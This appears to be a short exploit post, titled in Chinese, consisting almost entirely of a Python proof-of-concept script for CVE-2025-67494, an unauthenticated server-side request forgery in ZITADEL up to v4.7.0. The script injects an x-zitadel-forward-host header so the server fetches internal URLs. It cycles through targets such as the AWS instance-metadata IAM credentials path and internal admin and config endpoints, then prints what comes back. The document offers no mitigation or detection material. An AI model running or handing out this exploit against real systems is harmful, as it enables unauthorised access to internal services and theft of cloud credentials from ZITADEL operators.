CVE-2025-67494 ZITADEL未授权SSRF漏洞可窃取内网数据

import requests import sys # CVE-2025-67494 PoC - ZITADEL Unauthenticated Full-Read SSRF # Target: ZITADEL instances <= v4.7.0 def exploit_ssrf(target_url, internal_target): """ Exploit SSRF by injecting x-zitadel-forward-host header Args: target_url: ZITADEL login page URL (e.g., https://vulnerable-zitadel.com/login) internal_target: Internal service URL to target (e.g., http://169.254.169.254/latest/meta-data/) """ headers = { 'x-zitadel-forward-host': internal_target, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: print(f'[*] Sending SSRF request to: {target_url}') print(f'[*] Targeting internal resource: {internal_target}') response = requests.get(target_url, headers=headers, timeout=10, verify=False) print(f'[+] Status Code: {response.status_code}') print(f'[+] Response Length: {len(response.text)} bytes') print('\n[+] Response Content:') print(response.text[:2000]) # Print first 2000 chars return response.text except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return None def check_common_targets(target_url): """Check common SSRF targets""" targets = [ ('AWS Metadata', 'http://169.254.169.254/latest/meta-data/'), ('AWS IAM', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'), ('Internal API', 'http://localhost:8080/admin/api'), ('Internal Health', 'http://127.0.0.1:80/health'), ('Internal Config', 'http://internal.corp.local:8080/config') ] print(f'[*] Testing common SSRF targets against {target_url}\n') for name, url in targets: print(f'\n[*] Testing {name}: {url}') exploit_ssrf(target_url, url) if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-67494.py <target_url> [internal_url]') print('Example: python cve-2025-67494.py https://zitadel.company.com/login') print('Example: python cve-2025-67494.py https://zitadel.company.com/login http://169.254.169.254/latest/meta-data/') sys.exit(1) target = sys.argv[1] if len(sys.argv) >= 3: exploit_ssrf(target, sys.argv[2]) else: check_common_targets(target)